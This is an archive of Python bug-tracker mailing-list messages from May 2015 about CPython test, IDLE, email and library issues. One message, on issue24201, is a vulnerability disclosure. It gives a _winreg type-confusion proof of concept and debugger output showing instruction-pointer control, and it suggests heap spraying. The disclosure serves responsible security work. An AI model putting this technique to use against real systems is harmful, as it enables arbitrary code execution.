[issue24215] test_trace uses test_pprint

2015-05-16 Thread Serhiy Storchaka

New submission from Serhiy Storchaka:

Converting test_pprint to be unittest discoverable had broke the test_trace 
that uses test_main from test_pprint.

==
ERROR: test_coverage (test.test_trace.TestCoverage)
--
Traceback (most recent call last):
  File "/home/serhiy/py/cpython/Lib/test/test_trace.py", line 312, in 
test_coverage
self._coverage(tracer)
  File "/home/serhiy/py/cpython/Lib/test/test_trace.py", line 305, in _coverage
tracer.run(cmd)
  File "/home/serhiy/py/cpython/Lib/trace.py", line 500, in run
self.runctx(cmd, dict, dict)
  File "/home/serhiy/py/cpython/Lib/trace.py", line 508, in runctx
exec(cmd, globals, locals)
  File "", line 1, in 
AttributeError: module 'test.test_pprint' has no attribute 'test_main'

==
ERROR: test_coverage_ignore (test.test_trace.TestCoverage)
--
Traceback (most recent call last):
  File "/home/serhiy/py/cpython/Lib/test/test_trace.py", line 327, in 
test_coverage_ignore
self._coverage(tracer)
  File "/home/serhiy/py/cpython/Lib/test/test_trace.py", line 305, in _coverage
tracer.run(cmd)
  File "/home/serhiy/py/cpython/Lib/trace.py", line 500, in run
self.runctx(cmd, dict, dict)
  File "/home/serhiy/py/cpython/Lib/trace.py", line 508, in runctx
exec(cmd, globals, locals)
  File "", line 1, in 
AttributeError: module 'test.test_pprint' has no attribute 'test_main'

--

The simplest way to fix the regression is to restore test_main in test_pprint. 
But for now test_pprint is much larger and slower than it was when test_trace 
was written. Perhaps it is not the best example for testing tracing. Are there 
better ideas?

--
components: Tests
messages: 243386
nosy: belopolsky, larry, serhiy.storchaka
priority: release blocker
severity: normal
status: open
title: test_trace uses test_pprint
type: behavior
versions: Python 3.4, Python 3.5

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24212] Idle, 2.7, backport idlelib.__main__, enable py -m idlelib

2015-05-16 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

Why idlelib.__main__ should be backported? You can start IDLE as "python -m 
idlelib.idle" in 2.7 and this works as well in 3.x.

--
nosy: +serhiy.storchaka

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue20035] Clean up Tcl library discovery in Tkinter on Windows

2015-05-16 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

I afraid about Tix. _fix.py searches not only Tcl/Tk, but Tix too. New patch 
doesn't set TIX_LIBRARY. Unfortunately there are no Tix tests at all, and we 
can break the support of Tix without the notice.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24213] ProcessPoolExecutor().map() fails following an identical map()

2015-05-16 Thread Ned Deily

Ned Deily added the comment:

I can reproduce a crash with your sample program using the current numpy wheel 
(1.9.2) and the python.org 3.4.3.  The significant parts of the OS X crash dump:

Crashed Thread:0  Dispatch queue: com.apple.main-thread

Exception Type:EXC_BAD_ACCESS (SIGSEGV)
Exception Codes:   KERN_INVALID_ADDRESS at 0x0110

VM Regions Near 0x110:
--> 
__TEXT 0001-00011000 [4K] r-x/rwx 
SM=COW  
/Library/Frameworks/Python.framework/Versions/3.4.3_10_6/Resources/Python.app/Contents/MacOS/Python

Application Specific Information:
crashed on child side of fork pre-exec

Thread 0 Crashed:: Dispatch queue: com.apple.main-thread
0   libdispatch.dylib   0x7fff97347c13 dispatch_group_async 
+ 533
1   libBLAS.dylib   0x7fff96271a67 dsyrk_r + 565
2   libBLAS.dylib   0x7fff96272183 APL_dsyrk + 370
3   libBLAS.dylib   0x7fff96370696 cblas_dgemm + 1144
4   _dotblas.so 0x000104216775 
dotblas_matrixproduct + 5733
5   org.python.python   0x0001000e44ce PyEval_EvalFrameEx + 
28894
6   org.python.python   0x0001000e5ced PyEval_EvalCodeEx + 
2349
7   org.python.python   0x00010003e8ba function_call + 186
8   org.python.python   0x0001d3c8 PyObject_Call + 104
9   org.python.python   0x0001000e0cb9 PyEval_EvalFrameEx + 
14537
10  org.python.python   0x0001000e5ced PyEval_EvalCodeEx + 
2349
11  org.python.python   0x00010003e8ba function_call + 186
12  org.python.python   0x0001d3c8 PyObject_Call + 104
13  org.python.python   0x0001000e0cb9 PyEval_EvalFrameEx + 
14537
14  org.python.python   0x0001000e4455 PyEval_EvalFrameEx + 
28773
15  org.python.python   0x0001000e4455 PyEval_EvalFrameEx + 
28773
16  org.python.python   0x0001000e4455 PyEval_EvalFrameEx + 
28773
17  org.python.python   0x0001000e5ced PyEval_EvalCodeEx + 
2349
18  org.python.python   0x00010003e8ba function_call + 186
19  org.python.python   0x0001d3c8 PyObject_Call + 104
20  org.python.python   0x00010002802c method_call + 140
21  org.python.python   0x0001d3c8 PyObject_Call + 104
22  org.python.python   0x00010007b831 slot_tp_init + 81
23  org.python.python   0x000100072d14 type_call + 212
24  org.python.python   0x0001d3c8 PyObject_Call + 104
25  org.python.python   0x0001000e1b09 PyEval_EvalFrameEx + 
18201
26  org.python.python   0x0001000e4455 PyEval_EvalFrameEx + 
28773
27  org.python.python   0x0001000e4455 PyEval_EvalFrameEx + 
28773
28  org.python.python   0x0001000e4455 PyEval_EvalFrameEx + 
28773
29  org.python.python   0x0001000e4455 PyEval_EvalFrameEx + 
28773
30  org.python.python   0x0001000e4455 PyEval_EvalFrameEx + 
28773
31  org.python.python   0x0001000e5ced PyEval_EvalCodeEx + 
2349
32  org.python.python   0x00010003e8ba function_call + 186
33  org.python.python   0x0001d3c8 PyObject_Call + 104
34  org.python.python   0x0001000e0cb9 PyEval_EvalFrameEx + 
14537
35  org.python.python   0x0001000e5ced PyEval_EvalCodeEx + 
2349
36  org.python.python   0x0001000e4306 PyEval_EvalFrameEx + 
28438
37  org.python.python   0x0001000e5ced PyEval_EvalCodeEx + 
2349
38  org.python.python   0x0001000e4306 PyEval_EvalFrameEx + 
28438
39  org.python.python   0x0001000e4455 PyEval_EvalFrameEx + 
28773
40  org.python.python   0x0001000e5ced PyEval_EvalCodeEx + 
2349
41  org.python.python   0x0001000e5daf PyEval_EvalCode + 63
42  org.python.python   0x00010011048e PyRun_FileExFlags + 
206
43  org.python.python   0x00010011083d 
PyRun_SimpleFileExFlags + 717
44  org.python.python   0x00010012810e Py_Main + 3262
45  org.python.python   0x00010e32 0x1 + 3634
46  org.python.python   0x00010c84 0x1 + 3204

Thread 0 crashed with X86 Thread State (64-bit):
  rax: 0x000105001480  rbx: 0x  rcx: 0x  
rdx: 0x0100
  rdi: 0x7fff7cd5fd40  rsi: 0x  rbp: 0x7fff5bffbbd0  
rsp: 0x7fff5bffbba0
   r8: 0x000105001400   r9: 0x  r10: 0x07d0  
r11: 0x8001a446c4d8
  r12: 0x0001004682b0  r13

[issue20035] Clean up Tcl library discovery in Tkinter on Windows

2015-05-16 Thread Zachary Ware

Zachary Ware added the comment:

Here's a new patch that actually applies, and has a couple of improvements.

I'd greatly appreciate some review on this; I'm planning on committing before 
beta1 anyway.

--
nosy: +paul.moore, steve.dower, tim.golden
priority: normal -> high
Added file: http://bugs.python.org/file39401/issue20035.v6.diff

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24199] Idle: remove idlelib.idlever.py and its use in About dialog

2015-05-16 Thread Terry J. Reedy

Terry J. Reedy added the comment:

Benjamim, I made idlever update from sys.version until removed, so remove it 
from release process.

Serhiy, yes there are extensions which might possibly use this private api, 
even if they really should not.  I want to bring Nick (PEP 434 approver) into 
the discussion of the timing of removal.

Is there any problem with respect to buildbots of raising a DeprecationWarning 
when a module is imported?  Is so, can a module be excluded from the import all 
test?

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24199] Idle: remove idlelib.idlever.py and its use in About dialog

2015-05-16 Thread Roundup Robot

Roundup Robot added the comment:

New changeset c473ac171041 by Terry Jan Reedy in branch '2.7':
Issue #24199: Stop using idelver in aboutdialog.
https://hg.python.org/cpython/rev/c473ac171041

New changeset c862166060ed by Terry Jan Reedy in branch '3.4':
Issue #24199: Make idlever module self updating. Syop using it in aboutDialog.
https://hg.python.org/cpython/rev/c862166060ed

--
nosy: +python-dev

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue16991] Add OrderedDict written in C

2015-05-16 Thread Yury Selivanov

Yury Selivanov added the comment:

Started to look at the patch in more detail. Found one leak. There are more. 
Eric, maybe you can hunt them?

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue16314] Support xz compression in distutils

2015-05-16 Thread Roundup Robot

Roundup Robot added the comment:

New changeset 25cb42a4bce9 by Serhiy Storchaka in branch 'default':
Fixed issue #16314 test for the case when lzma is not available.
https://hg.python.org/cpython/rev/25cb42a4bce9

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue9377] socket, PEP 383: Mishandling of non-ASCII bytes in host/domain names

2015-05-16 Thread Ned Deily

Changes by Ned Deily :


--
nosy: +steve.dower

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue16314] Support xz compression in distutils

2015-05-16 Thread Ned Deily

Ned Deily added the comment:

The test for lzma being importable is not sufficient.

==
ERROR: test_make_archive_xztar 
(distutils.tests.test_archive_util.ArchiveUtilTestCase)
--
Traceback (most recent call last):
  File "/Users/buildbot/buildarea/3.x.murray-snowleopard/build/Lib/tarfile.py", 
line 389, in __init__
import lzma
  File "/Users/buildbot/buildarea/3.x.murray-snowleopard/build/Lib/lzma.py", 
line 26, in 
from _lzma import *
ImportError: No module named '_lzma'

http://buildbot.python.org/all/builders/AMD64%20Snow%20Leop%203.x/builds/3171/steps/test/logs/stdio

--
nosy: +ned.deily

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24214] Exception with utf-8, surrogatepass and incremental decoding

2015-05-16 Thread RalfM

New submission from RalfM:

I have an utf-8 encoded file containing single surrogates. Reading this file, 
specifying surrgatepass, works fine when I read the whole file with .read(), 
but raises an UnicodeDecodeError when I read the file line by line:

- start of demo -
Python 3.4.3 (v3.4.3:9b73f1c3e601, Feb 24 2015, 22:44:40) [MSC v.1600 64 bit (AM
D64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> with open("Demo.txt", encoding="utf-8", errors="surrogatepass") as f:
...   s = f.read()
...
>>> "\ud900" in s
True
>>> with open("Demo.txt", encoding="utf-8", errors="surrogatepass") as f:
...   for line in f:
... pass
...
Traceback (most recent call last):
  File "", line 2, in 
  File "C:\Python\34x64\lib\codecs.py", line 319, in decode
(result, consumed) = self._buffer_decode(data, self.errors, final)
UnicodeDecodeError: 'utf-8' codec can't decode byte 0xed in position 8190: inval
id continuation byte
>>>
- end of demo -

I attached the file used for the demo such that you can reproduce the problem.

If I change all 0xED bytes in the file to 0xEC (i.e. effectively change all 
surrogates to non-surrogates), the problem disappears.

The original file I noticed the problem with was 73 MB.  The demo file was 
derived from the original by removing data around the critical section, keeping 
the alignment to 16-k-blocks, and then replacing all printable ASCII characters 
by x.

If I change the file length by adding or removing 16 bytes to / from the 
beginning of the demo file, the problem disappears, so alignment seems to be an 
issue.

All this seems to indicate that the utf-8 decoder has problems when used for 
incremental decoding and a single surrogate appears around the block boundary.

--
components: Unicode
files: Demo.txt
messages: 243376
nosy: RalfM, ezio.melotti, haypo
priority: normal
severity: normal
status: open
title: Exception with utf-8, surrogatepass and incremental decoding
type: behavior
versions: Python 3.4
Added file: http://bugs.python.org/file39400/Demo.txt

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24213] ProcessPoolExecutor().map() fails following an identical map()

2015-05-16 Thread OceanEngineer

New submission from OceanEngineer:

Attached file runs fine. Uncommenting line 19 makes python crash. Also, no 
crash happens if order of execution of map() and executor.map() is switched.

This problem seems to be related to numpy in some way, the code does not crash 
if the commented return of function user_square is substituted for numpy 
functions.

Using a mac with Yosemite 10.10.3. When program crashed I get window that says:

"
Python quit unexpectedly.

Click Reopen to open the application again. Click Report to see more detailed 
information and send a report to Apple.
"

This is the traceback:

Traceback (most recent call last):
  File "processExample.py", line 27, in 
main()
  File "processExample.py", line 22, in main
result3 = list(executor.map(user_square, nums))
  File 
"/usr/local/Cellar/python3/3.4.3/Frameworks/Python.framework/Versions/3.4/lib/python3.4/concurrent/futures/_base.py",
 line 549, in result_iterator
yield future.result()
  File 
"/usr/local/Cellar/python3/3.4.3/Frameworks/Python.framework/Versions/3.4/lib/python3.4/concurrent/futures/_base.py",
 line 402, in result
return self.__get_result()
  File 
"/usr/local/Cellar/python3/3.4.3/Frameworks/Python.framework/Versions/3.4/lib/python3.4/concurrent/futures/_base.py",
 line 354, in __get_result
raise self._exception
concurrent.futures.process.BrokenProcessPool: A process in the process pool was 
terminated abruptly while the future was running or pending.

--
components: Library (Lib)
files: processExample.py
messages: 243375
nosy: OceanEngineer
priority: normal
severity: normal
status: open
title: ProcessPoolExecutor().map() fails following an identical map()
type: crash
versions: Python 3.4
Added file: http://bugs.python.org/file39399/processExample.py

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24209] Allow IPv6 bind in http.server

2015-05-16 Thread Martin Panter

Changes by Martin Panter :


--
nosy: +vadmium

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue23572] functools.singledispatch fails when "not BaseClass" is True

2015-05-16 Thread Ethan Furman

Ethan Furman added the comment:

Attached is patch and test case.

--
keywords: +patch
stage:  -> patch review
Added file: http://bugs.python.org/file39398/issue23572.stoneleaf.01.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24212] Idle, 2.7, backport idlelib.__main__, enable py -m idlelib

2015-05-16 Thread Roundup Robot

Roundup Robot added the comment:

New changeset 44fc6db34b69 by Terry Jan Reedy in branch '3.4':
Issue #24212: Put reference in idle.__main__ to issue with explanation.
https://hg.python.org/cpython/rev/44fc6db34b69

--
nosy: +python-dev

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24201] _winreg PyHKEY Type Confusion

2015-05-16 Thread JohnLeitch

JohnLeitch added the comment:

Thank you again for the explanation of the internals at play here. Armed with 
the knowledge you provided, I conducted further experimentation, and I believe 
I can now demonstrate how EIP control is possible with this bug. Note that RPC 
initialization is not necessary, thus lowering the barrier to entry.

First, it is possible to satisfy both magic number checks using a single 
buffer, and the predicted address of said buffer. This can be simulated with 
the following script:

import _winreg
test = 
"\x98\xba\xdc\xfe\xEF\xCD\xAB\x89"
_winreg.QueryValueEx(0x41414141, 'test')

A breakpoint is set at the first magic number check to give us an opportunity 
to patch up our buffer with the "predicted" addresses.

Breakpoint 0 hit
eax=41414140 ebx=0027fc2c ecx= edx= esi=753a3584 edi=
eip=75469af3 esp=0027f79c ebp=0027f7c8 iopl=0 nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=0246
RPCRT4!NDRCContextBinding+0x13:
75469af3 81780498badcfe  cmp dword ptr [eax+4],0FEDCBA98h ds:002b:41414144=?
???
0:000> s -b 0x0 L?0x7fff 41 41 41 41 98 ba dc fe
01ccc37c  41 41 41 41 98 ba dc fe-43 43 43 43 ef cd ab 89  
0:000> r @eax=0x01ccc37c
0:000> ed eax eax+0x8
0:000> ed eax+0x8 eax+0xc
0:000> dc eax
01ccc37c  01ccc384 fedcba98 01ccc388 89abcdef  
01ccc38c  45454545 46464646 47474747 48484848  
01ccc39c  49494949 4a4a4a4a 4b4b4b4b 4c4c4c4c  
01ccc3ac  4d4d4d4d 4e4e4e4e 4f4f4f4f 50505050  
01ccc3bc  51515151 41414141 01ccab00 01cbe048  H...
01ccc3cc  01cbe070 01ccabe0 01cbe098 01cbe0c0  p...
01ccc3dc  baadf000 01ccc548 1e228bf8 0062  H.".b...
01ccc3ec    72747320 6c6c6f63   strcoll
0:000> r
eax=01ccc37c ebx=0027fc2c ecx= edx= esi=753a3584 edi=
eip=75469af3 esp=0027f79c ebp=0027f7c8 iopl=0 nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=0246
RPCRT4!NDRCContextBinding+0x13:
75469af3 81780498badcfe  cmp dword ptr [eax+4],0FEDCBA98h ds:002b:01ccc380=f
edcba98

While we patched up the buffer with two addresses, this is still viable through 
heap spraying because the second address is relative to the first. Continuing 
execution, we hit our second magic number check:

0:000> g
Breakpoint 2 hit
eax=e7fafcfb ebx=0027f7f8 ecx=009c edx=0001 esi=01ccc384 edi=01ccc384
eip=75472451 esp=0027f7ac ebp=0027f7c0 iopl=0 nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=0206
RPCRT4!I_RpcGetBufferWithObject+0x21:
75472451 817e04efcdab89  cmp dword ptr [esi+4],89ABCDEFh ds:002b:01ccc388=89
abcdef
0:000> dc esi+4
01ccc388  89abcdef 45454545 46464646 47474747  
01ccc398  48484848 49494949 4a4a4a4a 4b4b4b4b  
01ccc3a8  4c4c4c4c 4d4d4d4d 4e4e4e4e 4f4f4f4f  
01ccc3b8  50505050 51515151 41414141 01ccab00  
01ccc3c8  01cbe048 01cbe070 01ccabe0 01cbe098  H...p...
01ccc3d8  01cbe0c0 baadf000 01ccc548 1e228bf8  H.".
01ccc3e8  0062   72747320  b... str
01ccc3f8  6c6c6f63 72747328 2c676e69 69727473  coll(string,stri

All is well. When execution is continued, we achieve EIP control:

0:000> g
(10d8.15a8): Access violation - code c005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41414141 ebx=0027f7f8 ecx=01ccc384 edx=0001 esi=01ccc384 edi=0040
eip=41414141 esp=0027f79c ebp=0027f7c0 iopl=0 nv up ei ng nz na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b efl=00010287
41414141 ??  ???

Apologies for the messy memory editing; there's probably a more Pythonic way of 
patching the buffer. And, of course, I believe it to be possible to achieve 
this via heap spraying, without any patching at all. Given this, I think 
exploitation in the real world is possible with two primitives: heap spraying 
and hkey value control. A web application, for example, might offer an attacker 
both of these primitives, while at the same time reasonably expecting arbitrary 
code execution to be prohibited.

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue16991] Add OrderedDict written in C

2015-05-16 Thread Yury Selivanov

Yury Selivanov added the comment:

I must have used a better example :)

>>> import sys; from collections import OrderedDict as OD
>>> sys.getrefcount(None)
2053
>>> OD();OD();OD();OD();
OrderedDict()
OrderedDict()
OrderedDict()
OrderedDict()
>>> sys.getrefcount(None)
2057

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue18986] Add a case-insensitive case-preserving dict

2015-05-16 Thread Ethan Furman

Ethan Furman added the comment:

>From https://mail.python.org/pipermail/python-dev/2015-May/140003.html
==
Before the Python 3.5 feature freeze, I should step-up and
formally reject PEP 455 for "Adding a key-transforming
dictionary to collections".

I had completed an involved review effort a long time ago
and I apologize for the delay in making the pronouncement.

What made it a interesting choice from the outset is that the
idea of a "transformation" is an enticing concept that seems
full of possibility.  I spent a good deal of time exploring
what could be done with it but found that it mostly fell short
of its promise.

There were many issues.  Here are some that were at the top:

* Most use cases don't need or want the reverse lookup feature
  (what is wanted is a set of one-way canonicalization functions).
  Those that do would want to have a choice of what is saved
  (first stored, last stored, n most recent, a set of all inputs,
  a list of all inputs, nothing, etc).  In database terms, it
  models a many-to-one table (the canonicalization or
  transformation function) with the one being a primary key into
  another possibly surjective table of two columns (the
  key/value store).  A surjection into another surjection isn't
  inherently reversible in a useful way, nor does it seem to be a
  common way to model data.

* People are creative at coming up with using cases for the TD
  but then find that the resulting code is less clear, slower,
  less intuitive, more memory intensive, and harder to debug than
  just using a plain dict with a function call before the lookup:
  d[func(key)].  It was challenging to find any existing code
  that would be made better by the availability of the TD.

* The TD seems to be all about combining data scrubbing
  (case-folding, unicode canonicalization, type-folding, object
  identity, unit-conversion, or finding a canonical member of an
  equivalence class) with a mapping (looking-up a value for a
  given key).  Those two operations are conceptually orthogonal.
  The former doesn't get easier when hidden behind a mapping API
  and the latter loses the flexibility of choosing your preferred
  mapping (an ordereddict, a persistentdict, a chainmap, etc) and
  the flexibility of establishing your own rules for whether and
  how to do a reverse lookup.


Raymond Hettinger


P.S.  Besides the core conceptual issues listed above, there
are a number of smaller issues with the TD that surfaced
during design review sessions.  In no particular order, here
are a few of the observations:

* It seems to require above average skill to figure-out what
  can be used as a transform function.  It is more
  expert-friendly than beginner friendly.  It takes a little
  while to get used to it.  It wasn't self-evident that
  transformations happen both when a key is stored and again
  when it is looked-up (contrast this with key-functions for
  sorting which are called at most once per key).

* The name, TransformDict, suggests that it might transform the
  value instead of the key or that it might transform the
  dictionary into something else.  The name TransformDict is so
  general that it would be hard to discover when faced with a
  specific problem.  The name also limits perception of what
  could be done with it (i.e. a function that logs accesses
  but doesn't actually change the key).

* The tool doesn't self describe itself well.  Looking at the
  help(), or the __repr__(), or the tooltips did not provide
  much insight or clarity.  The dir() shows many of the
  _abc implementation details rather than the API itself.

* The original key is stored and if you change it, the change
  isn't stored.  The _original dict is private (perhaps to
  reduce the risk of putting the TD in an inconsistent state)
  but this limits access to the stored data.

* The TD is unsuitable for bijections because the API is
  inherently biased with a rich group of operators and methods
  for forward lookup but has only one method for reverse lookup.

* The reverse feature is hard to find (getitem vs __getitem__)
  and its output pair is surprising and a bit awkward to use.
  It provides only one accessor method rather that the full
  dict API that would be given by a second dictionary.  The
  API hides the fact that there are two underlying dictionaries.

* It was surprising that when d[k] failed, it failed with
  transformation exception rather than a KeyError, violating
  the expectations of the calling code (for example, if the
  transformation function is int(), the call d["12"]
  transforms to d[12] and either succeeds in returning a value
  or in raising a KeyError, but the call d["12.0"] fails with
  a TypeError).  The latter issue limits its substitutability
  into existing code that expects real mappings and for
  exposing to end-users as if it were a normal dictionary.

* There were other issues with dict invariants as well 

[issue24212] Idle, 2.7, backport idlelib.__main__, enable py -m idlelib

2015-05-16 Thread Terry J. Reedy

New submission from Terry J. Reedy:

Discussion on another issue suggested that 3.x idlelib.__main__ be backported 
to 2.7 so 'python -m idlelib would work with 2.7 as with 3.x.  The current file:

"""
IDLE main entry point
Run IDLE as python -m idlelib
"""
import idlelib.PyShell
idlelib.PyShell.main()

When I tried this, it failed two ways.

1. The AutoComplete and CallTips extensions did not import properly. The error 
messages are printed from the except clause in 
EditorWindow.load_standard_extensions. I presume this call results from "import 
EditorWindow" in PyShell.

Failed to load extension 'AutoComplete'
Traceback (most recent call last):
  File "C:\Programs\Python27\lib\idlelib\EditorWindow.py", line 1068, in 
load_standard_extensions
self.load_extension(name)
  File "C:\Programs\Python27\lib\idlelib\EditorWindow.py", line 1083, in 
load_extension
cls = getattr(mod, name)
AttributeError: 'module' object has no attribute 'AutoComplete'

Somehow AutoComplete was imported without an ImportError even though the class 
AutoComplete statement did not create the class asstribute.

AutoComplete and CallTips are the two extensions containing "import __main__".  
Adding idlelib.__main__ somehow causes weird behavior in 2.7, though not in 
3.x.  Commenting out these imports removes the import problem.

2. Even with 1 temporarily fixed with '#', an unsaved file 'named' 
C:\users\terry\N.py is open in an editor window.  ("Unsaved' and'named' 
areusually mutually exclusive.) Two shell windows, instead of one, are opened.  
One fails to connect to a subprocess.  Clicking away the message box raises 
SystemExit.

Changing __main__.py to ...
from idlelib.PyShell import *
main()

had no effect.

I will add a reference to this issue in the file.  (If should be removed if 
this issue is fixed.)

--
messages: 243369
nosy: terry.reedy
priority: normal
severity: normal
stage: needs patch
status: open
title: Idle, 2.7, backport idlelib.__main__, enable py -m idlelib
type: behavior
versions: Python 2.7

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24211] Add RFC 6532 support to the email library

2015-05-16 Thread R. David Murray

Changes by R. David Murray :


Removed file: http://bugs.python.org/file39396/email_smtputf8.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24211] Add RFC 6532 support to the email library

2015-05-16 Thread R. David Murray

Changes by R. David Murray :


Added file: http://bugs.python.org/file39397/email_smtputf8.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24211] Add RFC 6532 support to the email library

2015-05-16 Thread R. David Murray

New submission from R. David Murray:

I could have sworn there was an issue for this already, but I couldn't find it.

Attached patch adds a utf8 policy knob and an SMTPUTF8 policy instance, and 
modifies BytesGenerator and the _header_value_parser to use that policy setting 
to generate utf8 headers instead of encoding non-ascii using encoded words.  (I 
designed the new code to make it easy to support this RFC, but even I had no 
idea the patch would be so small.  I hope I didn't miss anything.)

I will probably commit this tomorrow, since the deadline is looming.

--
components: email
files: email_smtputf8.patch
keywords: patch
messages: 243368
nosy: barry, r.david.murray
priority: normal
severity: normal
stage: patch review
status: open
title: Add RFC 6532 support to the email library
type: enhancement
versions: Python 3.5
Added file: http://bugs.python.org/file39396/email_smtputf8.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue22804] Can't run Idle in Windows 8 or windows 64

2015-05-16 Thread Terry J. Reedy

Terry J. Reedy added the comment:

Closing because this report contains insufficient information to act on.

--
resolution:  -> duplicate
stage:  -> resolved
status: open -> closed
type:  -> behavior

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue11477] Incorrect operand precedence when implementing sequences in C

2015-05-16 Thread Ethan Furman

Changes by Ethan Furman :


--
nosy: +ethan.furman

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24210] Tests failed with -Werror

2015-05-16 Thread Berker Peksag

Berker Peksag added the comment:

> But what to do with this code after 3.7? And why not to do this right now?

It's on my TODO list, but I'll probably won't have time to work on in it before 
beta 1.

Thanks for the review!

--
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue24210] Tests failed with -Werror

2015-05-16 Thread Roundup Robot

Roundup Robot added the comment:

New changeset e73182301a61 by Berker Peksag in branch 'default':
Issue #24210: Silence more PendingDeprecationWarning warnings in tests.
https://hg.python.org/cpython/rev/e73182301a61

--

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue22955] Pickling of methodcaller, attrgetter, and itemgetter

2015-05-16 Thread Serhiy Storchaka

Serhiy Storchaka added the comment:

methodcaller with keyword arguments pickled with 
pickle_getter_and_caller3.patch needs Python 3.5 to unpickle. Following patch 
pickles it in backward compatible way.

--
Added file: http://bugs.python.org/file39395/pickle_getter_and_caller4.patch

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue8489] Support RFC 6531 in smptlib

2015-05-16 Thread R. David Murray

Changes by R. David Murray :


--
resolution:  -> duplicate
stage: needs patch -> resolved
status: open -> closed
superseder:  -> RFC 6531 (SMTPUTF8) support in smtplib
versions: +Python 3.5 -Python 3.4

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue21083] Add get_content_disposition() to email.message.Message

2015-05-16 Thread R. David Murray

R. David Murray added the comment:

Thanks, Abhilash.

--
resolution:  -> fixed
stage: commit review -> resolved
status: open -> closed

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue21083] Add get_content_disposition() to email.message.Message

2015-05-16 Thread Roundup Robot

Roundup Robot added the comment:

New changeset 29ba76f5c3dc by R David Murray in branch 'default':
#21083: add get_content_disposition method to email.message.
https://hg.python.org/cpython/rev/29ba76f5c3dc

--
nosy: +python-dev

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue18986] Add a case-insensitive case-preserving dict

2015-05-16 Thread Serhiy Storchaka

Changes by Serhiy Storchaka :


--
status: open -> pending

___
Python tracker 

___
___
Python-bugs-list mailing list
Unsubscribe: 
https://mail.python.org/mailman/options/python-bugs-list/archive%40mail-archive.com



[issue16314] Support xz compression in distutils

